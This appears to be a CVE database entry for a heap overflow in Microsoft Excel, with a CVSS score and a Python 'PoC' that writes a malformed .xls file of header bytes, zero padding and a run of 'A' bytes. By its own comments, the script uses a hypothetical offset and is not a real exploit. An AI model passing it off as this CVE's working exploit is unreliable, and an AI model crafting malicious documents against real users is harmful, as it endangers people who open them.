Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Excel (具体受影响版本需参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept concept for CVE-2026-40362
# This script demonstrates how to create a malformed Excel file structure
# intended to trigger the heap overflow during parsing.
def create_malicious_xls(filename):
# XLS File Header (Signature)
header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
# Padding to reach the vulnerable parsing offset (Hypothetical offset)
padding = b"\x00" * 0x100
# Payload to overflow the heap buffer
# In a real exploit, this would contain ROP chains or Shellcode
payload = b"A" * 0x500 # Large buffer to trigger overflow
with open(filename, 'wb') as f:
f.write(header)
f.write(padding)
f.write(payload)
print(f"[+] Malicious file '{filename}' generated.")
print(f"[!] Use with caution in a sandboxed environment.")
if __name__ == "__main__":
create_malicious_xls("cve_2026_40362_poc.xls")